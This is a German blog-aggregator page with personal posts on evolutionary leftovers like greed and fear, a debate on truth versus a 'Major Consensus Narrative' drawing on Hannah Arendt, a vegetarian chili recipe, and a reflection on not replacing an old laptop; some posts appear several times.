Was ist nun anders in der stark arbeitsteiligen Gesellschaft, in der wir Leben? Nahrung ist immer verfügbar. Kalorienreiche Nahrung ist sogar billiger, als kalorienarme Nahrung. Wir sind zudem vor dem Winter um ein vielfaches besser geschützt, als dies früher der Fall war. Es gibt also keinen Grund mehr, mehr Nahrung aufzunehmen, als wir bis zur nächsten Mahlzeit verstoffwechseln. Aber wir befinden uns weiterhin in einem andauernden Exzess; und dafür ist unsere Gier nicht ausgelegt.

Unsere Gier hat, in der Situation eines endlosen Nahrungsstroms, aber erhebliche Nachteile. Unsere Körper werden Übergewichtig und in folge davon krank. Diabetis und Adipositas werden epidemisch und belasten sowohl den einzelnen, als auch die sozialen Strukturen.

Aber unsere Gier beschränkt sich nicht nur auf Nahrung, sondern auch auf andere Konsumgüter. Ich bin mir nicht sicher inwiefern der Drang nach mehr "haben wollen" eine Übertragung der Gier nach Nahrung auf andere Güter ist. Aber man kann es sicherlich als Gier beschreiben. Dadurch betreiben wir eine systematische Ausbeutung der Ressourcen der Erde auf Kosten nachfolgender Generationen. Und wir tun dies entgegen besseren Wissens! Evolutionär völliger Käse. Jedenfalls in komplexen menschengefüllten Systemen.

Angst

Angst macht Sinn. Angst bewahrt uns vor gefährlichen Situationen. Angst bewahrt uns davor es für eine gute Idee zu halten in ein Rudel von Löwen zu gehen und sich dazukuscheln zu wollen. Angst schüttet Adrenalin aus und bereitet den Körper auf Flucht oder Kampf vor. Meistens sitzt man eh unter einem Baum und schnitzt einen Stock zu. Fliehen war die Ausnahme. Macht auch alles Sinn; jedenfalls, wenn es etwas gibt vor dem man flüchten oder gegen das man Kämpfen kann.

Aber wir werden nicht mehr von dem großen Teil der Flora und Fauna tyranisiert, sondern das Blatt hat sich gewendet. Solange wir in Gemeinschaft sind müssen wir keine Angst mehr vor den meisten Dingen der Umgebung haben.

Der Mechanismus allerdings, der ist noch da. Und er springt an. Auf viele Dinge. Angst vor Dingen die unsere Existenz garnicht in Frage stellen. Angst vor der Präsentation. Angst den Job zu verlieren. Angst verlassen zu werden. Angst das Studium nicht zu schaffen. Das sind, ohne Frage, alles unangenehme Dinge die man gerne Vermeiden möchte, aber sie werden einen in den seltensten Fällen direkt, oder auch nur indirekt, umbringen.

Stress wird häufig als andauernder Angstzustand, als ständiges angespannt sein, beschrieben. Und Stress belastet die Gesundheit. Cortisol unterdruckt das Immunsystem. Wer unter Stress stand, zeigt häufig erst dann Symptome, wenn der Stress abgeklungen ist. Und wer einmal mit Menschen, die unter einer Angststörung leiden, zu tun hatte, der weiss auch wie schlimm die Angst das Leben belasten kann.

In einer Welt, die komplex ist und die sich ständig verändert, in der ständig tausend Reize auf uns einfluten, ist es evolutionär eine dumme Idee einen ständigen Angstzustand auszulößen. Vor allem, wenn unsere Existenz von den "Gefahren" garnicht wirklich bedroht ist. Evolutionär könnten wir daher eine erhöhte Angstschwelle entwickeln.

Tod und Lebensdauer

Tod ist der evolutionäre Motor. Wer wengier angepasst ist, der hat eine höhere Mortalitätsrate. Keinen Tod mehr zu haben würde den Stillstand der Entwicklung bedeuten. Jedenfalls wenn wir von Individuuen ausgehen, die ihre Gensequenz nicht maßgeblich während ihrer Lebenszeit ändern.

Im Vergleich zu den meisten Tieren ist unsere Lebensspanne schon relativ lange. Außerdem sterben menschliche Individuen nicht kurz nach ihrer Zeugungsunfähigkeit (Grossmutter-Hypothese). Find ich persöhnlich ja auch eine gute Sache, dass das so ist.

Aber unsere Lebensspanne ist nur relativ lange im Vergleich zum Zyklus der Jahre auf der Erde. In dem Moment in dem wir die Erde verlassen wollen, ist sie unsere größte Beschränkung. Das Universum lässt es nicht zu, dass wir mit mehr als Lichtgeschwindigkeit reisen. Daher ist eigentlich unsere einzige andere Stellschraube, wie wir interstellare Reisen bei realistischen Geschwindigkeiten durchführen können, lange zu leben.

Auf lange Sicht wird es ein evolutionärer Vorteil sein sich an die Zeitskalen des Universums anzupassen. Dies mag dann sogar den Nachteil des langsameren Evolutionsmechanismus ausgleichen. Außerdem zeigt sich dann vielleicht auch ein höhreres Maß an Binnen-Evolution, bei der sich einzelne mutierte Zellen innerhalb eines Organismus als Vorteilhaft erweisen und sich durchsetzen.

October 06, 2015

Christian DietrichVernunft- und Tatsachenwahrheiten

Dieser Beitrag ist eine Erwiderung auf den Blogbeitrag von Maxfragg vom 5. Oktober 2015. Er hat dort beleuchtet, dass wir bisher einen "Major Consensus Narrative" (MCN) hatten, der durch die Medien vermittelt wurde. Dieser MCN behauptet von sich die "Wahrheit" zu sein; die "Tagesschauwahrheit".

Maxfragg stellte sich nun die Frage, was mit diesem MCN passiert, wenn wir eine vielfältigere Berichterstattung haben. Jeder kann sich dann seine ganz persöhnliche Wahrheit aus verschiedenen Quellen zusammenstellen, die seine Realität beschreibt. Der eine ließt SPON und schaut die Tagesschau, der andere ließt PI und glaubt an die "Lügenpresse". Brauchen wir dann noch eine Wahrheit? Darauf will ich einige Gedanken verwenden.

Zunächst will ich seinem Aufruf nachgehen, zu zeigen, dass es eine "echte" Wahrheit geben muss. Danach will ich darauf eingehen, wie Vernunft- und Tatsachenwahrheiten sich unterscheiden und die "wissenschaftliche" Wahrheit sich von der "historischen" Wahrheit unterscheiden. Das Ergebnis der Untersuchung wird sein, dass wir zwischen Wahrheiten und Hypothesenräumen unterscheiden müssen und der MCN ein Hypothesenraum ist, der die Wahrheit beinhalten kann.

Gibt es Wahrheit? Ist das überhaupt die richtige Frage? Wir tun uns schwer damit, die Frage zu beantworten, daher beantworte ich zunächst eine andere (in guter Sonnebornscher Manier): Gibt es das Gegenteil von Wahrheit? Und da müssen wir doch sagen: ja, gibt es. Bei manchen Dingen können wir uns sicher sein, dass sie nicht wahr sind, dass die Welt so nicht beschaffen ist. Ein Beispiel: Der Satz "jeder Mensch kann ohne Kopf Leben mehrere Jahre leben" ist nicht wahr. Es gibt mindestens ein Gegenbeispiel. Der Satz kann nicht wahr sein.

Zwei Hypothesenraeume

Es gibt also einen Bereich von Sätzen/Hypothesen/Aussagen die nicht wahr sind. Wir haben über die letzten 2500 Jahre die wissenschaftliche Methode entwickelt, um Hypothesen zu falsifizieren. Das Ergebnis dieser Methode ist allerdings nicht die Wahrheit an sich, sondern ein Kreis der sich immer Enger zieht. Außerhalb des Kreises sind all die falsifizierten Aussagen, innen die bisher nicht bewiesenen aber noch nicht wiederlegten Hypothesen. Die Menge innerhalb des Kreises ist ein Hypothesenraum.

Das kleine Bildchen soll das Verhältnis von Wahrheit und Hypothesenraum verdeutlichen. Die wissenschaftliche Methode ist nun ein Druck der von Aussen der auf den Hypothesenraum drückt, und versucht den Kreis enger zu ziehen. Innerhalb des Kreises nehmen wir mal einen Punkt an, der beschreibt wie die Welt wirklich ist, wie sich das Universum verhält. Also was denn tatsächlich passiert. Wir nennen diesen Punkt mal "Wahrheit", auch wenn wir ihn nicht an sich ausmachen können; wir können nur sagen wo er nicht ist.

Was sich daraus nicht direkt ergibt ist, ob es nur einen solchen Punkt gibt, oder mehrere (rechte Bildhälfte). Aber geben muss es mindestens einen, da das Universum sich ja irgendwie verhält. Bisher haben wir keine Annahme zu glauben, dass das Universum sich gleichzeitig so und so verhält. Es kann sich in jeder Situation anders verhalten, aber zu einem Zeitpunkt verhält sich das Universum auf jeden Fall irgendwie. Daher ist "eine Wahrheit" eine Hypothese, die sich bisher recht gut macht.

Gut, soweit so kompliziert. Jetzt dieses MCN Konzept. Bei Hannah Arendt habe ich die Unterscheidung zwischen Vernunftwahrheiten und Tatsachenwahrheiten gelernt (Wahrheit und Politik, H. Arendt, 1964, Tonmitschnitt von Arendt).

Vernunftwahrheiten können durch Experiment und Nachdenken jederzeit erkannt werden. In diesen Bereich fallen alle physikalischen Gesetze. Würden wir heute die Relativitätstheorie verlieren, so könnte sie in 10.000 Jahren von eine Lebenwesen auf einem anderen Planeten wieder entdeckt werden. Eine Vernunftwahrheit kann wiederholt untersucht werden, denn sie gehören zur Stuktur des Universums. Man kann sie auch "objektive Wahrheiten" nennen.

Tatsachenwahrheiten beziehen sich auf singuläre Ereignisse. So ist die Aussage, dass Konrad Adenauer Bundeskanzler war, eine Tatsachenwahrheit. Diese Klasse von Wahrheiten, sind viel leichter zu manipulieren. Arendt bringt hier das Beispiel von der Rolle Trotzkis in der Russischen Revolution. Dort hat sich Stalin an der Tatsachenwahrheit vergangen und Trotzki aus den Geschichtsbüchern getilgt. Dieses Manipulation ist besonders schändlich, da sie Wahrheiten für immer tilgt. Ein historisches Ereignis kann nur einmal "gemessen" werden. Kein Mensch kann eine Tatsachenwahrheit wiederbeleben, wenn erst einmal die perfekte Lüge von allen Menschen geglaubt wird und alle Beweise gefälscht wurden. Man könnte Tatsachenwahrheiten also auch "historische Wahrheiten" nennen.

Der Verlust des MCNs ist nun das Vorhandensein mehrerer solcher Räume die sich teilweise überlappen und unter Umständen die Tatsachenwahrheit beinhalten. Das heisst aber nicht, dass es für eine Sache keine Tatsachenwahrheit mehr gibt. Man ist nur leichter Bereit zu sagen: "ach, ist doch eh alles egal, hat doch jeder seine Wahrheit". Aber dem ist nicht so, nicht jeder hat seine Wahrheit, sondern jeder hat einen anderen Hypothesenraum. Der Wahrheit tut das keinen Abbruch, den für eine historische Wahrheit ist sicher: für den Zeitpunkt um den es geht hat sich das Universum irgendwie verhalten.

Wenn Maxfragg also jetzt über den MCN schreibt, dann bezieht sich dieser MCN meist auf historische Wahrheiten und ist ein Hypothesenraum. Dieser MCN kann nun aktiv Aussagen vertreten, die Ausserhalb des aktuellen Hypothesenraumes liegen; lügen wider besseren wissens. Der MCN übt dadurch Druck aus und verschiebt den Hypothesenraum. Mittels der perfekten Lüge verschiebt man den Raum soweit, dass die Tatsachenwahrheit sich nicht mehr innerhalb befindet. Die Tatsachenwahrheit ist für immer verloren, weil wir nicht nochmal messen können.

Wir dürfen nicht zulassen, dass wir die Tatsachenwahrheiten verlieren, denn einmal verloren, sind sie für immer vergangen.

October 05, 2015

Maximilian HenryMajor Consensus Narrative

Was bedeutet schon Wahrheit? Ist Wahrheit, was in der 20 Uhr Tagesschau berichtet wird? War das jemals die Wahrheit? Es gibt Anhaltspunkte, die nahelegen, dass das zumindest das war, was viele von uns heute für die Wahrheit halten. Ich glaube, dass es durchaus wichtig für eine Gesellschaft ist, dass sie eine gewisse Einigkeit darüber hat, was denn nun wahr ist, und was nicht.
In manchen Details diese Einordnung noch nie einfach. Haben sich Andreas Baader, Gudrun Ensslin und Jan-Carl Raspe selbst getötet? War Gundolf Köhler ein Einzeltäter? Was hat Lee Harvey Oswald am November 22, 1963 getan? Es gibt diese einzelnen Punkte, an denen der Strang der kollektiven Wahrheit sind trennt und in viele einzelne Fäden auftrennt, aber im großen und ganzen gibt es ihn noch bis in die relativ junge Vergangenheit. Der 11. September 2001, der darauf Folgende Afghanistan- und Irak-Krieg mögen umstritten sein, aber was die Wahrheit dieser Ereignisse betrifft, gibt es noch eine gewisse Einigkeit. Danach löst sich dieser Faden jedoch auf und ich glaube, dies ist nicht nur der Nähe zum jetzt geschuldet, sondern Teil eines größeren Phänomens.

Teil dieser Theorie ist, dass man Wahrheit besser durch Major Consensus Narrative ersetzen sollte. Denn, ist es nicht eigentlich völlig egal, was wirklich war, solange wir uns darin einig sind, was passiert ist? Oder, ist es nicht viel mehr so, dass Wahrheit sowieso nie etwas anderes bedeutet hat, da, eine "echte" Wahrheit, wenn sie denn existiert, sowieso nie als solche erkannt werden kann? Viele Anhänger harter Wissenschaft mögen drauf beharren, dass es eine "echte" Wahrheit geben muss, aber davon konnte mich noch niemand überzeugen. Ihr seid dazu aufgerufen!

Viel spannender finde ich jedoch die Frage, wenn wir die Existenz eines Major Consensus Narrative akzeptieren und eingestehen, dass durch den Bedeutungsverlust der Massenmedien dieser leidet, was bedeutet dies für unsere Gesellschaft? Gibt es einen Weg zu verhindern, dass unsere Gesellschaft in Teile zerfällt, in denen jeder sein eigenes Weltbild mit seinem eigenen Narrativ hat, welche alle, völlig adäquat unsere Realität beschreiben? Oder wäre das überhaupt nicht schlimm? Spielt es eine Rolle, ob eines dieser Narrative die tatsächliche Kausalität beschreibt oder ist das nicht eigentlich völlig egal, da Politik und Wirtschaft schon immer nur auf Scheinkausalitäten beruhen und nähert ein weiter Baum an Narrativen nicht die "echte" Kausalität am Ende viel besser an?

Ich glaube, am Ende haben wir wenig zu verlieren, wenn wir den Begriff der Wahrheit beerdigen.

Maximilian HenryMajor Consensus Narrative

Was bedeutet schon Wahrheit? Ist Wahrheit, was in der 20 Uhr Tagesschau berichtet wird? War das jemals die Wahrheit? Es gibt Anhaltspunkte, die nahelegen, dass das zumindest das war, was viele von uns heute für die Wahrheit halten. Ich glaube, dass es durchaus wichtig für eine Gesellschaft ist, dass sie eine gewisse Einigkeit darüber hat, was denn nun wahr ist, und was nicht.
In manchen Details diese Einordnung noch nie einfach. Haben sich Andreas Baader, Gudrun Ensslin und Jan-Carl Raspe selbst getötet? War Gundolf Köhler ein Einzeltäter? Was hat Lee Harvey Oswald am November 22, 1963 getan? Es gibt diese einzelnen Punkte, an denen der Strang der kollektiven Wahrheit sind trennt und in viele einzelne Fäden auftrennt, aber im großen und ganzen gibt es ihn noch bis in die relativ junge Vergangenheit. Der 11. September 2001, der darauf Folgende Afghanistan- und Irak-Krieg mögen umstritten sein, aber was die Wahrheit dieser Ereignisse betrifft, gibt es noch eine gewisse Einigkeit. Danach löst sich dieser Faden jedoch auf und ich glaube, dies ist nicht nur der Nähe zum jetzt geschuldet, sondern Teil eines größeren Phänomens.

Teil dieser Theorie ist, dass man Wahrheit besser durch Major Consensus Narrative ersetzen sollte. Denn, ist es nicht eigentlich völlig egal, was wirklich war, solange wir uns darin einig sind, was passiert ist? Oder, ist es nicht viel mehr so, dass Wahrheit sowieso nie etwas anderes bedeutet hat, da, eine "echte" Wahrheit, wenn sie denn existiert, sowieso nie als solche erkannt werden kann? Viele Anhänger harter Wissenschaft mögen drauf beharren, dass es eine "echte" Wahrheit geben muss, aber davon konnte mich noch niemand überzeugen. Ihr seid dazu aufgerufen!

Viel spannender finde ich jedoch die Frage, wenn wir die Existenz eines Major Consensus Narrative akzeptieren und eingestehen, dass durch den Bedeutungsverlust der Massenmedien dieser leidet, was bedeutet dies für unsere Gesellschaft? Gibt es einen Weg zu verhindern, dass unsere Gesellschaft in Teile zerfällt, in denen jeder sein eigenes Weltbild mit seinem eigenen Narrativ hat, welche alle, völlig adäquat unsere Realität beschreiben? Oder wäre das überhaupt nicht schlimm? Spielt es eine Rolle, ob eines dieser Narrative die tatsächliche Kausalität beschreibt oder ist das nicht eigentlich völlig egal, da Politik und Wirtschaft schon immer nur auf Scheinkausalitäten beruhen und nähert ein weiter Baum an Narrativen nicht die "echte" Kausalität am Ende viel besser an?

Ich glaube, am Ende haben wir wenig zu verlieren, wenn wir den Begriff der Wahrheit beerdigen.

Maximilian HenryMajor Consensus Narrative

Was bedeutet schon Wahrheit? Ist Wahrheit, was in der 20 Uhr Tagesschau berichtet wird? War das jemals die Wahrheit? Es gibt Anhaltspunkte, die nahelegen, dass das zumindest das war, was viele von uns heute für die Wahrheit halten. Ich glaube, dass es durchaus wichtig für eine Gesellschaft ist, dass sie eine gewisse Einigkeit darüber hat, was denn nun wahr ist, und was nicht.
In manchen Details diese Einordnung noch nie einfach. Haben sich Andreas Baader, Gudrun Ensslin und Jan-Carl Raspe selbst getötet? War Gundolf Köhler ein Einzeltäter? Was hat Lee Harvey Oswald am November 22, 1963 getan? Es gibt diese einzelnen Punkte, an denen der Strang der kollektiven Wahrheit sind trennt und in viele einzelne Fäden auftrennt, aber im großen und ganzen gibt es ihn noch bis in die relativ junge Vergangenheit. Der 11. September 2001, der darauf Folgende Afghanistan- und Irak-Krieg mögen umstritten sein, aber was die Wahrheit dieser Ereignisse betrifft, gibt es noch eine gewisse Einigkeit. Danach löst sich dieser Faden jedoch auf und ich glaube, dies ist nicht nur der Nähe zum jetzt geschuldet, sondern Teil eines größeren Phänomens.

Teil dieser Theorie ist, dass man Wahrheit besser durch Major Consensus Narrative ersetzen sollte. Denn, ist es nicht eigentlich völlig egal, was wirklich war, solange wir uns darin einig sind, was passiert ist? Oder, ist es nicht viel mehr so, dass Wahrheit sowieso nie etwas anderes bedeutet hat, da, eine "echte" Wahrheit, wenn sie denn existiert, sowieso nie als solche erkannt werden kann? Viele Anhänger harter Wissenschaft mögen drauf beharren, dass es eine "echte" Wahrheit geben muss, aber davon konnte mich noch niemand überzeugen. Ihr seid dazu aufgerufen!

Viel spannender finde ich jedoch die Frage, wenn wir die Existenz eines Major Consensus Narrative akzeptieren und eingestehen, dass durch den Bedeutungsverlust der Massenmedien dieser leidet, was bedeutet dies für unsere Gesellschaft? Gibt es einen Weg zu verhindern, dass unsere Gesellschaft in Teile zerfällt, in denen jeder sein eigenes Weltbild mit seinem eigenen Narrativ hat, welche alle, völlig adäquat unsere Realität beschreiben? Oder wäre das überhaupt nicht schlimm? Spielt es eine Rolle, ob eines dieser Narrative die tatsächliche Kausalität beschreibt oder ist das nicht eigentlich völlig egal, da Politik und Wirtschaft schon immer nur auf Scheinkausalitäten beruhen und nähert ein weiter Baum an Narrativen nicht die "echte" Kausalität am Ende viel besser an?

Ich glaube, am Ende haben wir wenig zu verlieren, wenn wir den Begriff der Wahrheit beerdigen.

September 25, 2015

Maximilian HenryChili!

Nachdem der Konsens in der WG auf fleischlos steht, gab es heute Chili sin Carne in der WG und es ist mir mMn richtig gut gelungen. Die Mengenangaben sind zum größten Teil nur Schätzung außerdem mag euer Geschmack variieren.

Zutaten:

  • Sojagranulat
  • Gemüsebrühe
  • 1 Espresso
  • 2 Getrocknete Habanero-Chilies
  • 3 Esslöffel Zucker
  • 1 Zimtstange
  • 1 Schuss Rum
  • 3 Zwiebeln
  • 6 Zehen Knoblauch
  • Geräucherte Chiliflocken
  • Geräuchertes Paprikapulver
  • 3 EL Kreuzkümmelsamen
  • 1 EL Koriandersamen
  • 1 TL Zimt
  • Salz
  • Tomatenmark
  • 5 Dosen Kidneybohnen
  • 2 Dosen Mais
  • 2 Dosen Kichererbsen
  • 3 Packen Passierte Tomaten
  • 5 TL Kakaopulver
  • 50g geraspelte Zartbitter-Schokolade
  • Olivenöl

Vorbereitung

Als erstes sollten wir das Sojagranulat in kochendem Wasser einweichen, vorzugsweise ein paar Stunden lang, und damit es nach etwas mehr schmeckt, kommt noch etwas Gemüsebrühe dazu. Wie viel Soja ihr wollt ist etwas Geschmackssache, erfahrungsgemäß will man weniger verwenden, als man von Hackfleisch nehmen würde, da es sonst etwas hervor schmecken kann.
Dann kümmern wir uns um ein grundlegendes Würzmittel, den Chili-Kaffee-Extrakt. Dafür hacken wir die Habaneros fein (Tipp: Zieht euch dafür Einweghandschuhe an!) und bereiten einen starken Espresso vor. Dann erhitzen wir etwas Öl in einem kleinen Topf und rösten die gehackten Chilis darin. Wenn die Schärfe im Hals kratzt, ist der richtige Moment um Kaffee, Rum, Zucker und eine Zimtstange dazu zu geben und anschließende das ganze einreduzieren lassen, bis noch die Hälfte übrig ist.

Kochen

Das kann nun erstmal zur Seite und wir können richtig anfangen. Dafür schneiden wir die Zwiebeln und den Knoblauch und waschen das Sojagranulat in einem Sieb aus, solange bis die Flüssigkeit nicht mehr bräunlich ist, dann schmeckt es auch nicht so hervor.
Jetzt brauchen wir unseren großen Chilitopf und braten dort zuerst nur die Zwiebeln an, geben dann Soja und Knoblauch dazu, wenn das Soja anfängt anzuhängen, mischen wir etwas Tomatenmark und 2 Esslöffel von unserem Chili-Kaffee darunter. Anschließend können Tomaten, Bohnen, Kichererbsen und Mais dazu und alles darf vor sich hin köcheln, es wird dadurch nur besser.
Jetzt haben wir zeit uns um die Gewürze zu kümmern, während wir gelegentlich umrühren. Dazu kommen Koriander, Kreuzkümmel und Salz in einen Mörser und werden dort zerkleinert. Das Salz erleichtert den Prozess und wir wollten ja eh Salzen. Anschließende noch die Pulvergewürze dazu und ab in den Topf. Jetzt noch das Kakaopulver und die Schokolade dazu geben, so dass die rote Farbe der Tomaten sich ins bräunliche verfärbt.
Wie viel von dem Chili-Kaffee ihr noch rein schütten wollt und wie viel ihr euren Gästen zum Nachschärfen lasst, überlasse ich mal euch. Jetzt ist das Chili im Prinzip fertig, will aber noch mindestens eine halbe Stunde köcheln, eher länger.
Dazu empfehle ich selbst gemachte Guacamole, damit lässt sich auch übermäßige Schärfe wieder etwas mildern

Maximilian HenryChili!

Nachdem der Konsens in der WG auf fleischlos steht, gab es heute Chili sin Carne in der WG und es ist mir mMn richtig gut gelungen. Die Mengenangaben sind zum größten Teil nur Schätzung außerdem mag euer Geschmack variieren.

Zutaten:

  • Sojagranulat
  • Gemüsebrühe
  • 1 Espresso
  • 2 Getrocknete Habanero-Chilies
  • 3 Esslöffel Zucker
  • 1 Zimtstange
  • 1 Schuss Rum
  • 3 Zwiebeln
  • 6 Zehen Knoblauch
  • Geräucherte Chiliflocken
  • Geräuchertes Paprikapulver
  • 3 EL Kreuzkümmelsamen
  • 1 EL Koriandersamen
  • 1 TL Zimt
  • Salz
  • Tomatenmark
  • 5 Dosen Kidneybohnen
  • 2 Dosen Mais
  • 2 Dosen Kichererbsen
  • 3 Packen Passierte Tomaten
  • 5 TL Kakaopulver
  • 50g geraspelte Zartbitter-Schokolade
  • Olivenöl

Vorbereitung

Als erstes sollten wir das Sojagranulat in kochendem Wasser einweichen, vorzugsweise ein paar Stunden lang, und damit es nach etwas mehr schmeckt, kommt noch etwas Gemüsebrühe dazu. Wie viel Soja ihr wollt ist etwas Geschmackssache, erfahrungsgemäß will man weniger verwenden, als man von Hackfleisch nehmen würde, da es sonst etwas hervor schmecken kann.
Dann kümmern wir uns um ein grundlegendes Würzmittel, den Chili-Kaffee-Extrakt. Dafür hacken wir die Habaneros fein (Tipp: Zieht euch dafür Einweghandschuhe an!) und bereiten einen starken Espresso vor. Dann erhitzen wir etwas Öl in einem kleinen Topf und rösten die gehackten Chilis darin. Wenn die Schärfe im Hals kratzt, ist der richtige Moment um Kaffee, Rum, Zucker und eine Zimtstange dazu zu geben und anschließende das ganze einreduzieren lassen, bis noch die Hälfte übrig ist.

Kochen

Das kann nun erstmal zur Seite und wir können richtig anfangen. Dafür schneiden wir die Zwiebeln und den Knoblauch und waschen das Sojagranulat in einem Sieb aus, solange bis die Flüssigkeit nicht mehr bräunlich ist, dann schmeckt es auch nicht so hervor.
Jetzt brauchen wir unseren großen Chilitopf und braten dort zuerst nur die Zwiebeln an, geben dann Soja und Knoblauch dazu, wenn das Soja anfängt anzuhängen, mischen wir etwas Tomatenmark und 2 Esslöffel von unserem Chili-Kaffee darunter. Anschließend können Tomaten, Bohnen, Kichererbsen und Mais dazu und alles darf vor sich hin köcheln, es wird dadurch nur besser.
Jetzt haben wir zeit uns um die Gewürze zu kümmern, während wir gelegentlich umrühren. Dazu kommen Koriander, Kreuzkümmel und Salz in einen Mörser und werden dort zerkleinert. Das Salz erleichtert den Prozess und wir wollten ja eh Salzen. Anschließende noch die Pulvergewürze dazu und ab in den Topf. Jetzt noch das Kakaopulver und die Schokolade dazu geben, so dass die rote Farbe der Tomaten sich ins bräunliche verfärbt.
Wie viel von dem Chili-Kaffee ihr noch rein schütten wollt und wie viel ihr euren Gästen zum Nachschärfen lasst, überlasse ich mal euch. Jetzt ist das Chili im Prinzip fertig, will aber noch mindestens eine halbe Stunde köcheln, eher länger.
Dazu empfehle ich selbst gemachte Guacamole, damit lässt sich auch übermäßige Schärfe wieder etwas mildern

Maximilian HenryChili!

Nachdem der Konsens in der WG auf fleischlos steht, gab es heute Chili sin Carne in der WG und es ist mir mMn richtig gut gelungen. Die Mengenangaben sind zum größten Teil nur Schätzung außerdem mag euer Geschmack variieren.

Zutaten:

  • Sojagranulat
  • Gemüsebrühe
  • 1 Espresso
  • 2 Getrocknete Habanero-Chilies
  • 3 Esslöffel Zucker
  • 1 Zimtstange
  • 1 Schuss Rum
  • 3 Zwiebeln
  • 6 Zehen Knoblauch
  • Geräucherte Chiliflocken
  • Geräuchertes Paprikapulver
  • 3 EL Kreuzkümmelsamen
  • 1 EL Koriandersamen
  • 1 TL Zimt
  • Salz
  • Tomatenmark
  • 5 Dosen Kidneybohnen
  • 2 Dosen Mais
  • 2 Dosen Kichererbsen
  • 3 Packen Passierte Tomaten
  • 5 TL Kakaopulver
  • 50g geraspelte Zartbitter-Schokolade
  • Olivenöl

Vorbereitung

Als erstes sollten wir das Sojagranulat in kochendem Wasser einweichen, vorzugsweise ein paar Stunden lang, und damit es nach etwas mehr schmeckt, kommt noch etwas Gemüsebrühe dazu. Wie viel Soja ihr wollt ist etwas Geschmackssache, erfahrungsgemäß will man weniger verwenden, als man von Hackfleisch nehmen würde, da es sonst etwas hervor schmecken kann.
Dann kümmern wir uns um ein grundlegendes Würzmittel, den Chili-Kaffee-Extrakt. Dafür hacken wir die Habaneros fein (Tipp: Zieht euch dafür Einweghandschuhe an!) und bereiten einen starken Espresso vor. Dann erhitzen wir etwas Öl in einem kleinen Topf und rösten die gehackten Chilis darin. Wenn die Schärfe im Hals kratzt, ist der richtige Moment um Kaffee, Rum, Zucker und eine Zimtstange dazu zu geben und anschließende das ganze einreduzieren lassen, bis noch die Hälfte übrig ist.

Kochen

Das kann nun erstmal zur Seite und wir können richtig anfangen. Dafür schneiden wir die Zwiebeln und den Knoblauch und waschen das Sojagranulat in einem Sieb aus, solange bis die Flüssigkeit nicht mehr bräunlich ist, dann schmeckt es auch nicht so hervor.
Jetzt brauchen wir unseren großen Chilitopf und braten dort zuerst nur die Zwiebeln an, geben dann Soja und Knoblauch dazu, wenn das Soja anfängt anzuhängen, mischen wir etwas Tomatenmark und 2 Esslöffel von unserem Chili-Kaffee darunter. Anschließend können Tomaten, Bohnen, Kichererbsen und Mais dazu und alles darf vor sich hin köcheln, es wird dadurch nur besser.
Jetzt haben wir zeit uns um die Gewürze zu kümmern, während wir gelegentlich umrühren. Dazu kommen Koriander, Kreuzkümmel und Salz in einen Mörser und werden dort zerkleinert. Das Salz erleichtert den Prozess und wir wollten ja eh Salzen. Anschließende noch die Pulvergewürze dazu und ab in den Topf. Jetzt noch das Kakaopulver und die Schokolade dazu geben, so dass die rote Farbe der Tomaten sich ins bräunliche verfärbt.
Wie viel von dem Chili-Kaffee ihr noch rein schütten wollt und wie viel ihr euren Gästen zum Nachschärfen lasst, überlasse ich mal euch. Jetzt ist das Chili im Prinzip fertig, will aber noch mindestens eine halbe Stunde köcheln, eher länger.
Dazu empfehle ich selbst gemachte Guacamole, damit lässt sich auch übermäßige Schärfe wieder etwas mildern

September 18, 2015

Christian DietrichTechnik, die begeistert

Dieser Post ist das Ergebnis mehrerer Begegnungen mit meinen Kollegen und es ist mein Ziel darzulegen, welche meine Beweggründe in einem ganz speziellen, eng abgesteckten Bereich sind und wie ich hier zu meinen Überzeugungen gekommen bin. Ziel ist es nicht meine Ansicht anderen überzuhelfen, sondern nur sie verständlich zu machen.

An meiner Arbeitsstelle bekommen alle Mitarbeiter die Chance einen Dienstlaptop zu kaufen. In den meisten Fällen fällt die Entscheidung auf einen Apple Laptop. Und so stand auch ich am Beginn meiner Anstellung als wissenschaftlicher Mitarbeiter vor der Frage, ob und welchen mobilen Rechner ich mir zulegen will.

Allerdings habe ich mich aktiv gegen das Kaufen entschieden. Stattdessen verwende ich seit geraumer Zeit ein mehrere Jahre altes Gerät, dass einer meiner Kollegen durch ein Neues ersetzt hat. Es funktioniert noch hervorragend, ist nur nicht mehr auf dem "aktuellen Stand der Technik". Was ich mir habe leisten lassen war ein Hardwareupgrade (RAM, Festplatte) für einige hundert Euro.

Meine bewusste Entscheidung gegen die Neuanschaffung hat mehrere Gründe. Zum einen, ist der Stand der Technik von vor 5 Jahren für die allermeisten meiner Anforderungen völlig ausreichend. Es hat seitdem einfach nur in sehr begrenztem Maße bahnbrechende Verbesserungen gegeben. Nur in einigen Bereichen (Retina-Displays, Akkulaufzeit) ist eine wirkliche Verbesserung spürbar geworden. Brauche ich doch einmal mehr Rechenleistung muss ich diese eh auf größere Infrastruktur ausweichen.

Zum anderen sehe ich es nicht ein, ein völlig funktionsfähiges Gerät auszumustern oder in den Schrank zu legen, nur weil es einige Jahre alt ist. Alter ist kein Problem an sich. Selbstverständlich erhöht sich das Ausfallrisiko einiger Komponenten mit den Jahren, was durch vergangene Komponententauschungen bei diesem Gerät in geringerem Maße zutrifft. Eine Neuanschaffung hingegen ist immer auch Ressourcenverbrauch. Bei der Produktion wird sowohl Energie, als auch andere endliche Ressourcen unseres Planeten verbraucht. Konkret diese Ressourcen werden unsere Nachkommen nicht mehr haben. Und Menschen müssen dafür Arbeiten, damit ich ein neues Gerät in Händen halten kann.

Unser ständiger Wunsch nach den neusten Geräten ist mit einem enormen Ressourcenverbrauch verbunden. Jedes neue technische Spielzeug, von denen wir ja sehr viele haben und haben wollen, bindet Ressourcen. Umso häufiger wir diese wechseln, umso höher wird der Verbrauch. Und solange keine Not besteht, solange will ich diesen Verbrauch hinauszögern soweit es geht.

Außerdem ist Konsum anstregend. Ich will mich nicht ständig mit den neuesten Laptops, Handys, E-Book Readern, Smartwatches und Bildschirmen auseinander setzen. Ich weiss besseres mit meiner Zeit anzufangen. Für mich wiegt das kurzfristige Belohnungsgefühl beim Kauf eines neuen Gerätes nicht mehr den Zeitaufwand der Anschaffung auf.

